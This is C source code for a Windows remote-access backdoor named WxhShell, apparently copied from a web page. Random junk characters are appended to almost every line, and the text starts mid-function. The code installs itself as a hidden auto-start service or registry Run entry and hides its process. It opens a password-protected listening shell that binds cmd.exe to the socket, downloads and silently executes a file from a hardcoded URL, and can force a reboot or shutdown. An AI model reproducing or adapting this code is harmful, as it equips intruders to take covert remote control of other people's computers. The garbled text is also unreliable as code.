    }  l e/#J  
  // 关机 @x>2|`65Y  
  case 'd': { c15^<6]g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5|={1Lp24g  
    if(Boot(SHUTDOWN)) 0'2{[xF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :1  
    else { rnr8t]  
    closesocket(wsh); T k=3"y+u[  
    ExitThread(0); FQ ^^6Rl  
    } _BA_lkN+D  
    break; uWT&`m_(2  
    } 49kia!FR  
  // 获取shell `r bqYU0  
  case 's': { 6_ 0w>  
    CmdShell(wsh); v-aq".XQ  
    closesocket(wsh); 9&FV =}MO  
    ExitThread(0); ,TA [el%#  
    break; j`pR;XL1[  
  } i*E`<9  
  // 退出 1:Gd{z  
  case 'x': { 5"]2@@b4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +>%+r  
    CloseIt(wsh); )Ea_:C'  
    break; M!i5StGC  
    } &_^<B7aC'k  
  // 离开 W{/z-&  
  case 'q': { FPFYH?;$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  jmNj#R@t  
    closesocket(wsh); kO>{<$  
    WSACleanup(); lR3^&d72?  
    exit(1); ~7H.<kJt  
    break; _cs9R%  
        } \r9%;?f  
  } QQ8W;x  
  } k.Nu(j"z  
i^KYZ4/%  
  // 提示信息 %dR./{txT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wLSYzz  
} -$ft `Ih  
  } [\F,\  
+# >%bq x  
  return; AWNd(B2o  
} G{Q'N04RA  
<LZvh8  
// shell模块句柄 mR@Xt#  
int CmdShell(SOCKET sock) n?tAa|_  
{ dz9-+C{m  
STARTUPINFO si; <TuSU[]  
ZeroMemory(&si,sizeof(si)); ,p1]_D&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ml 2z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mdh"G @$n  
PROCESS_INFORMATION ProcessInfo; L` "UeNT  
char cmdline[]="cmd"; B.WkHY%/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q^Z}Y~.  
  return 0; H >{K]7D/y  
} ?{IvA:   
Z.(x|Q9  
// 自身启动模式 6p{x2>2y[  
int StartFromService(void) []Ea0jYu  
{ nd1*e  
typedef struct P9^h>sV  
{ =*U24B*U93  
  DWORD ExitStatus; @>j \~<%  
  DWORD PebBaseAddress; JwczE9~o  
  DWORD AffinityMask; ?@(H. D6'v  
  DWORD BasePriority; uK5Px!  
  ULONG UniqueProcessId; hj1 jY  
  ULONG InheritedFromUniqueProcessId; \LXC269  
}   PROCESS_BASIC_INFORMATION; i% lB U 1  
I\23as0q  
PROCNTQSIP NtQueryInformationProcess; ufPQ~,.  
TZ2f-KI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B6o AW,3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =h;!#ZC  
Q(3x"+  
  HANDLE             hProcess; zl?N1>KS  
  PROCESS_BASIC_INFORMATION pbi; E9hWn0 e  
_O<{H'4NO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <`qo*__1  
  if(NULL == hInst ) return 0; .D`#a  
C%>7mz-v5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lhTbgM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _F E F+I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uSjMqfK  
X_F=;XF/  
  if (!NtQueryInformationProcess) return 0; d`/{0:F  
9@B+$~:}7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2[hl^f^%,  
  if(!hProcess) return 0; V:J6eks_  
Us5 JnP5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sSK$  
8msDJ {,X  
  CloseHandle(hProcess); t |hmEHUk  
bwFc>{Wo5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Ua#smZ  
if(hProcess==NULL) return 0; u<zDZ{jt)  
0]~n8mB>  
HMODULE hMod; .Ps;O  
char procName[255]; XN;eehB?aE  
unsigned long cbNeeded; H!u:P?j@\  
8=9sIK2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "kC>EtaX  
?_r"Fg;"  
  CloseHandle(hProcess); _K>m9Q2  
<-pbLL9  
if(strstr(procName,"services")) return 1; // 以服务启动 $@j7VPE  
Vp$ckr  
  return 0; // 注册表启动 -( G2@NG  
} !c7Od )]  
D>Z_N?iR  
// 主模块 0a'y\f:6*  
int StartWxhshell(LPSTR lpCmdLine) MC@cT^Z^  
{ AtOB'=ph*  
  SOCKET wsl; ez>@'yhK  
BOOL val=TRUE; RT>3\qhZ  
  int port=0; H>]x<#uz)  
  struct sockaddr_in door; =$Z'F<|d  
OUPpz_y  
  if(wscfg.ws_autoins) Install(); ?6bE!36  
V2.K*CpZ7  
port=atoi(lpCmdLine); #p >PNW-  
5UbVg  
if(port<=0) port=wscfg.ws_port; W>y_q  
KI{u:Lbi  
  WSADATA data; hl+Yr)0\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 \J;EWTU  
oSoG&4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K\q/JuDfc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4hs4W,2!  
  door.sin_family = AF_INET; SccU @3.X~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P +SCX#{y  
  door.sin_port = htons(port); T Bco  
|D~MS`~qd5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F t}tIP7  
closesocket(wsl); wSK?mS6  
return 1; hbK+\X  
} t-Wn@a  
=DgD&_  
  if(listen(wsl,2) == INVALID_SOCKET) { ;ORy&H aKl  
closesocket(wsl); {~"=6iyj  
return 1; }!LYV  
} P,wJ@8lv  
  Wxhshell(wsl); rdRX  
  WSACleanup(); /%7eo?@,  
m[pz u2R  
return 0; )+G(4eIT  
Q7\Ax0  
} jDoWSYu4tY  
%WNy=V9txp  
// 以NT服务方式启动 oKac~}_KL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^cNP ?7g7  
{ `@&qf}`  
DWORD   status = 0; N%a[Y  
  DWORD   specificError = 0xfffffff; lVdExR>H  
QEPmuG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C*9m `xh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vC7sJIch2<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZttL*KK  
  serviceStatus.dwWin32ExitCode     = 0; ) l)5^7=W  
  serviceStatus.dwServiceSpecificExitCode = 0; jd{J3s '%  
  serviceStatus.dwCheckPoint       = 0; ]~P?  
  serviceStatus.dwWaitHint       = 0; @lX)dY  
OL>/FOH:Fx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'e)t+  
  if (hServiceStatusHandle==0) return; m3D'7*U  
 0c{N)  
status = GetLastError(); Km?i{TW  
  if (status!=NO_ERROR) ICi- iX  
{ !ZVMx*1Cf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y5 dt?a  
    serviceStatus.dwCheckPoint       = 0; }?JO[Q +  
    serviceStatus.dwWaitHint       = 0; Q pX@;j  
    serviceStatus.dwWin32ExitCode     = status; YpL}R#  
    serviceStatus.dwServiceSpecificExitCode = specificError; x R.Ql>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mKg~8q 3  
    return; L,<.rr$:  
  } u{ng\d*KE}  
P7o6B,9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F ;D_zo?  
  serviceStatus.dwCheckPoint       = 0; %>.v[d1c  
  serviceStatus.dwWaitHint       = 0; bQ)r8[o!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "@n$(-.  
} Dt ?Fs  
4c% :?H@2  
// 处理NT服务事件,比如:启动、停止 ZFzOW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S:d` z'  
{ Q3D xjD  
switch(fdwControl) 8+gn Wy  
{ r,}Zc W+  
case SERVICE_CONTROL_STOP: Hq9(6w9w  
  serviceStatus.dwWin32ExitCode = 0; /sai}r 1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j\a?n4g -  
  serviceStatus.dwCheckPoint   = 0; ,]d}pJ}PX`  
  serviceStatus.dwWaitHint     = 0; S("bN{7nE  
  { & mWq'h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YS]RG/'  
  } DlP}Fp{  
  return; 4-m%[D |W  
case SERVICE_CONTROL_PAUSE: 3FdoADe{{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QZ6M,\  
  break; 8_lD*bEt   
case SERVICE_CONTROL_CONTINUE: 4MIVlg9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >|s=l`"Xz  
  break; j@DyWm/7  
case SERVICE_CONTROL_INTERROGATE: @sDd:> t  
  break; jK{MU) D+  
}; !xvPG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Cf`F{X' U  
} Jx}5`{\  
Xy{b(b;9  
// 标准应用程序主函数 mVkn~LD:0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L.R  
{ u/zC$L3B(  
JB-j@  
// 获取操作系统版本 :$WRV-  
OsIsNt=GetOsVer(); N_ >s2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q>rQ/V  
LOA 90.D  
  // 从命令行安装 gO5;hd[ l  
  if(strpbrk(lpCmdLine,"iI")) Install(); _:g V7>S?  
1$|z%(  
  // 下载执行文件 AL;"S;8  
if(wscfg.ws_downexe) { rQWft r^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JUE>g8\b  
  WinExec(wscfg.ws_filenam,SW_HIDE); uPqPoI>N!  
} w+}dm^X  
'i,<j s3\f  
if(!OsIsNt) { uYl ?Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 My ^pQ]@  
HideProc(); i{8=;  
StartWxhshell(lpCmdLine); [bcqaT  
} ;?&;I!  
else l]ZUKy  
  if(StartFromService()) J+TYm%A;-  
  // 以服务方式启动 Qknd^%  
  StartServiceCtrlDispatcher(DispatchTable); i et|\4A  
else +Lyh F2  
  // 普通方式启动 B|Omz:c  
  StartWxhshell(lpCmdLine); jfWIPN  
pZR^ HOq  
return 0; }'{(rU  
} |QY+vO7fxj  
&M2x`  
RBb@@k[v  
saZ ;ixV  
=========================================== Y7p#K<y]9  
0I k@d'7  
s?2;u p*D  
KyDBCCOv  
xs:{%ki  
R0|X;3  
" FYj3! H  
*be+x RY  
#include <stdio.h> ug{F?LW[  
#include <string.h> )uaB^L1  
#include <windows.h> #Y:/^Q$_qS  
#include <winsock2.h> ZibODs=f;  
#include <winsvc.h> #4Z$O(  
#include <urlmon.h> Vlf@T  
5 9 09O  
#pragma comment (lib, "Ws2_32.lib")  2AluH8X/  
#pragma comment (lib, "urlmon.lib") ,s2.l/5r;C  
YK-R|z6K  
#define MAX_USER   100 // 最大客户端连接数 i^> RjR  
#define BUF_SOCK   200 // sock buffer *qqFIp^  
#define KEY_BUFF   255 // 输入 buffer NubD2  
 :DD4BY  
#define REBOOT     0   // 重启 [L275]4n!]  
#define SHUTDOWN   1   // 关机 qm '$R3g  
p?`N<ykF<  
#define DEF_PORT   5000 // 监听端口 ,Q:dAe[ZsX  
_#+9)*A  
#define REG_LEN     16   // 注册表键长度 .{} t[U  
#define SVC_LEN     80   // NT服务名长度 2rH6ap  
|N g[^  
// 从dll定义API 3o?Lz7L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "6}+|!"$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >5j/4Ly  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F,W(H@ ~x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H^s SHj  
\uaJw\EZ  
// wxhshell配置信息 lN&GfPP6  
struct WSCFG { zEGwQp<  
  int ws_port;         // 监听端口 gV7o eZ5  
  char ws_passstr[REG_LEN]; // 口令 q8D1MEBL`  
  int ws_autoins;       // 安装标记, 1=yes 0=no [brrziZ  
  char ws_regname[REG_LEN]; // 注册表键名 @!S$gTz  
  char ws_svcname[REG_LEN]; // 服务名 EAI[J&c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f]lDJ?+ M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i6-K!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #=tWCxf=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z\Q7#dl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c1/x,1LnMf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uqnZ  
A1_x^s  
}; #-W5$1  
%{{#Q]]&  
// default Wxhshell configuration `=*svrmS  
struct WSCFG wscfg={DEF_PORT, l ghzd6  
    "xuhuanlingzhe", ; YRZg|Zw  
    1, k (R4-"@  
    "Wxhshell", `MD/C Fl4  
    "Wxhshell", Fzu{,b  
            "WxhShell Service", ,&9|Ac?$  
    "Wrsky Windows CmdShell Service", 5(W9Jj]  
    "Please Input Your Password: ", 3k/Mig T  
  1, 5YCbFk^  
  "http://www.wrsky.com/wxhshell.exe", jyC6:BNust  
  "Wxhshell.exe" qL#R XUTP  
    }; IF}r%%'Y$  
I,[EL{fz  
// 消息定义模块 n>Ei1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fP|\1Y?CS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 26**tB<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BpCSf.zZ  
char *msg_ws_ext="\n\rExit."; 5J;c;PF  
char *msg_ws_end="\n\rQuit."; u|ZO"t  
char *msg_ws_boot="\n\rReboot..."; n*1UNQp@]O  
char *msg_ws_poff="\n\rShutdown..."; 4D13K.h`O  
char *msg_ws_down="\n\rSave to "; Px8E~X<@  
BCbW;w8aI  
char *msg_ws_err="\n\rErr!"; 4L0LT>'M\  
char *msg_ws_ok="\n\rOK!"; c"xaN  
pI`Ke"  
char ExeFile[MAX_PATH]; #&Ee5xM=  
int nUser = 0; ,Tx8^|b#F  
HANDLE handles[MAX_USER]; K+\hv~+@  
int OsIsNt; r$7rYxFR  
P#xn!fMi  
SERVICE_STATUS       serviceStatus; B]vj1m`9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6PH*]#PfoD  
)N/KQ[W  
// 函数声明 7Tbkti;  
int Install(void); F)@<ZE  
int Uninstall(void); \9p;md`  
int DownloadFile(char *sURL, SOCKET wsh); 6yb<4@LOb  
int Boot(int flag); v^tKT&  
void HideProc(void); */)gk=x8  
int GetOsVer(void); U`Zn*O~/  
int Wxhshell(SOCKET wsl); q~3&f  
void TalkWithClient(void *cs); lySaJ d  
int CmdShell(SOCKET sock); UQFuEI<1-  
int StartFromService(void); @o ED tN  
int StartWxhshell(LPSTR lpCmdLine); mAzW'Q4D  
d(!N$B\[5T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Kidbf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <fJ\AP5  
vpDs5tUl  
// 数据结构和表定义 hG^23FiN  
SERVICE_TABLE_ENTRY DispatchTable[] = ,zFN3NLtA  
{ [xPE?OD  
{wscfg.ws_svcname, NTServiceMain}, A@ME7^w7  
{NULL, NULL} D\R^*k@V  
}; sn( }5;  
`9-Zg??8r  
// 自我安装 J$;)TI  
int Install(void) }>w4!  
{ 4Z] 35*  
  char svExeFile[MAX_PATH]; C#Jj;Gd  
  HKEY key; %vXQ Sz  
  strcpy(svExeFile,ExeFile); K="+2]{I  
NSq=_8  
// 如果是win9x系统,修改注册表设为自启动 U~m.I  
if(!OsIsNt) { zMKL: Um"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AqkK`iJ#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fW _.  
  RegCloseKey(key); wk#QQDV3|0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TTpF m~?(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZTZE_[  
  RegCloseKey(key); bRp[N  
  return 0; WQx;tX  
    } KfNXX>'  
  } %u}sVRJ  
} vknFtpx  
else { BE~[%6T7  
`vw.~OBl  
// 如果是NT以上系统,安装为系统服务 ;[9Is\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4lCm(#T{,  
if (schSCManager!=0) 7Cf(y'w^  
{ bSLj-vp  
  SC_HANDLE schService = CreateService AHGcWS\,X  
  ( R{vPn8X 6g  
  schSCManager, 8H?AL RG  
  wscfg.ws_svcname, B5G$o{WM  
  wscfg.ws_svcdisp, }^7V^W  
  SERVICE_ALL_ACCESS, /3]|B%W9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3)Y:c2  
  SERVICE_AUTO_START, <.ky1aex7  
  SERVICE_ERROR_NORMAL, {9 O`/|  
  svExeFile, +bW|Q>u  
  NULL, @_3$(*n$~  
  NULL, x(=x;X$[^  
  NULL, cmI#R1\  
  NULL, ub5hX{uT  
  NULL Hea<!zPH  
  ); hT"K}d;X  
  if (schService!=0) E6M: ^p*<  
  { _ GSw\r  
  CloseServiceHandle(schService); 5g5NTm`=<  
  CloseServiceHandle(schSCManager); Umg81!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WKsx|a]U  
  strcat(svExeFile,wscfg.ws_svcname); P hu| hx<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n bk(F D6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [[Z>(d$8  
  RegCloseKey(key); TzGm562o%  
  return 0; MFuI&u!g:  
    } c ?XUb[  
  } .Er/t"Qs;  
  CloseServiceHandle(schSCManager); '.,.F0{x  
} xQap44KPZ  
} u2-7vudh  
Bq_P?Q+\  
return 1; }8 _9V|E  
} J_ |x^  
yan[{h]EZ  
// 自我卸载 _#m qg]W'  
int Uninstall(void) bq-\'h f<  
{ :'~ gLW>j  
  HKEY key; "b4iOp&:=  
om?CFl  
if(!OsIsNt) { yXg1N N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tYZGf xj  
  RegDeleteValue(key,wscfg.ws_regname); <9a_wGs  
  RegCloseKey(key); @l GnG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XWpnZFjE  
  RegDeleteValue(key,wscfg.ws_regname); ^1=|(Z/  
  RegCloseKey(key); +Q31K7Gr  
  return 0; y$o=\:  
  } pVS2dwBqE  
} ^]&{"!  
} I?Fa  
else { + t4m\/y  
DAHf&/J K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v qMk)htIz  
if (schSCManager!=0) 5KE%@,k k  
{ Ml?)Sc"\7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PRC)GP&q  
  if (schService!=0) /? 1Yf  
  { L^1q/4${  
  if(DeleteService(schService)!=0) { z.&% >%TPP  
  CloseServiceHandle(schService); cE5Zxcn  
  CloseServiceHandle(schSCManager); ?^ezEpW  
  return 0; `sy &dyM  
  } 3,I >.3  
  CloseServiceHandle(schService); b.q"s6u  
  } h\*rv5\M  
  CloseServiceHandle(schSCManager); zN/~a)  
} (!5}" fj  
} DN':-PK  
OKP_3Ns  
return 1; ESjJHZoD(  
} cqL7dlhIl  
{JCz^0DV  
// 从指定url下载文件 g*?+ ~0"`Y  
int DownloadFile(char *sURL, SOCKET wsh) =GKYroNM  
{ GtJ*&=(  
  HRESULT hr; ANQa2swM  
char seps[]= "/"; )-KE4/G  
char *token; m_02"'  
char *file; tO>OD#  
char myURL[MAX_PATH]; H9Q7({v  
char myFILE[MAX_PATH]; }9udo,RWu  
?J@qg20z  
strcpy(myURL,sURL); ak8^/1*@  
  token=strtok(myURL,seps); LiD |4(3  
  while(token!=NULL) L Yg$M@  
  { J:Y|O-S!  
    file=token; emY5xZ@N  
  token=strtok(NULL,seps); vs)I pV(  
  } ^iRwwN=d  
R|J>8AL}BY  
GetCurrentDirectory(MAX_PATH,myFILE); [S&O-b8A  
strcat(myFILE, "\\"); fwv T2G4  
strcat(myFILE, file); <&s)k  
  send(wsh,myFILE,strlen(myFILE),0); w[7.@%^[  
send(wsh,"...",3,0); Xe3z6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `}8@[iB'  
  if(hr==S_OK) Q=L$7   
return 0; maUHjI 5A-  
else }42qMOi#w1  
return 1;  vs])%l%t  
<Z:8~:@  
} pebx#}]p-  
-C-OG}XjI  
// 系统电源模块 9#T%bB "J  
int Boot(int flag) ?V)C9@bp  
{ 1;:t~Y  
  HANDLE hToken; nR@,ouB-$  
  TOKEN_PRIVILEGES tkp; +>:_kE]?nX  
$K.%un Gm  
  if(OsIsNt) { m7wc)"`t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?WQd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'Rkvsch  
    tkp.PrivilegeCount = 1; r;on0wm&B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .1}rzh}8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a}qse5Fr  
if(flag==REBOOT) { M`+e'vdw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k CW!m  
  return 0; gUH'DS]{  
} u->@|tEq  
else { SeNF!k% Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7hN6IP*so  
  return 0; Dj ]Hgg  
} mj~N]cxB  
  } (\mulj  
  else { #S53u?JV8  
if(flag==REBOOT) { ^0x.'G?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bg1"v a#2  
  return 0; Ld}(*-1i  
} Fi?Q 4b  
else { N?=qEX|R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?dKa;0\  
  return 0; 2 ]DCF  
} eN| HJ=  
} `b.o&t$L  
%%+mWz a  
return 1; IglJEH[+  
} H#|Z8^ *Ds  
wCU&Xb$F  
// win9x进程隐藏模块 ),;D;LI{S  
void HideProc(void) TvWU[=4Yk  
{ Ku0H?qft(  
.kbr?N,'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0/SC  
  if ( hKernel != NULL ) L* k hj3;  
  { qJ X+[PJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %uz|NRB=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AFINm%\/0  
    FreeLibrary(hKernel); ;h,R?mU  
  } ;-9zMbte :  
8!uL-_Bn  
return; T@Ss&eGT2  
} VA=#0w  
M2;%1^  
// 获取操作系统版本 Esz1uty  
int GetOsVer(void) |B%BwE  
{ zM_DE  
  OSVERSIONINFO winfo; x5fgF;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~tg1N^]kV  
  GetVersionEx(&winfo); RP~vB#}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1#> &p%P!  
  return 1; J@ktj(  
  else Z:UgozdC  
  return 0; 5?3Isw`v2  
} 5 Q6{(q|M  
MK-a $~<  
// 客户端句柄模块 !@^y)v  
int Wxhshell(SOCKET wsl) '0R/6Z|/Y  
{ .K|P&  
  SOCKET wsh; BN\fv,  
  struct sockaddr_in client; ` $.X[\*U  
  DWORD myID; `z3|M#r\;  
$ DDSN  
  while(nUser<MAX_USER) } g3HoFC  
{ QmH/yy3.%  
  int nSize=sizeof(client); qE#&)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qPXANx<^  
  if(wsh==INVALID_SOCKET) return 1; zdLVxL>87  
I;kf #nvao  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UM4 @H1  
if(handles[nUser]==0) #$rf-E5g-K  
  closesocket(wsh); 00`bL  
else kZU"Xn  
  nUser++; I%;Rn:zl  
  } o{{:|%m3Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1-6gB@cvQ  
;f".'9 l^  
  return 0; }.fL$,7a  
} E/wQ+rv  
,_.@l+BM.  
// 关闭 socket 6C:x6'5[  
void CloseIt(SOCKET wsh) kf+JM/  
{ JdaFY+f :  
closesocket(wsh); ee&nU(pK  
nUser--; $xRo<,OV+  
ExitThread(0); zQL!(2  
} UfK4eZx*`  
&Q'\WA'  
// 客户端请求句柄 lQh E]m>+  
void TalkWithClient(void *cs) =w',-+@  
{ WdTbt  
4r_!>['`"  
  SOCKET wsh=(SOCKET)cs; uIYcmF\?  
  char pwd[SVC_LEN]; gq H`GI  
  char cmd[KEY_BUFF]; l9_m>X~   
char chr[1]; ?)!SmN/  
int i,j; 8`:M\*  
#2Ac  
  while (nUser < MAX_USER) { "2ZIoa!^  
u{g]gA8s  
if(wscfg.ws_passstr) { sTd}cP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &q4ox71  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Qr A8  
  //ZeroMemory(pwd,KEY_BUFF); 'fS?xDs-v  
      i=0; J Z %`%rA  
  while(i<SVC_LEN) { v\fzO#vj  
gXq!a|eH  
  // 设置超时 kk 8R  
  fd_set FdRead; t *o7,  
  struct timeval TimeOut; E=;BI">.  
  FD_ZERO(&FdRead); Xy[}Gp  
  FD_SET(wsh,&FdRead); Z -pyFK\  
  TimeOut.tv_sec=8; jmRhAJV  
  TimeOut.tv_usec=0; tegOT]|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c*.G]nRc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D",A$(lG  
xM%H~(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fkW3~b  
  pwd=chr[0]; nURvy}<r  
  if(chr[0]==0xd || chr[0]==0xa) { y!S^xS  
  pwd=0; VKT@2HjNT`  
  break; #t=[w  
  } I") H~  
  i++; zTkFX67)  
    } ])N|[|$  
!IO&&\5  
  // 如果是非法用户,关闭 socket 0FG5_t"",\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hbV E; 9  
} BD hLz  
!$D&6M|C8l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w|&,I4["  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :0B |<~lX  
|$M@09,F"  
while(1) { UE"7   
HvAE,0N  
  ZeroMemory(cmd,KEY_BUFF); j?=VtVP  
H9sZR>(^  
      // 自动支持客户端 telnet标准   $ b4*/vMr  
  j=0; cE^kpnVq|<  
  while(j<KEY_BUFF) { .H Fc9^.*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c L?\^K)  
  cmd[j]=chr[0]; D._{E*vg  
  if(chr[0]==0xa || chr[0]==0xd) { U%Dit  
  cmd[j]=0; {*sGhGwr  
  break; 0xN!DvCg>.  
  } (2: N;  
  j++; lrCm9Oy  
    } (gLea  
XxhsPFv  
  // 下载文件 YQN.Ohtv*F  
  if(strstr(cmd,"http://")) { Z#CxQ D%\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g+igxC}2z  
  if(DownloadFile(cmd,wsh)) /d[Mss  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7`Qde!+C  
  else >+L7k^[,0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1d`cTaQ-  
  } vxb@9 eb!H  
  else { bk.*k~_  
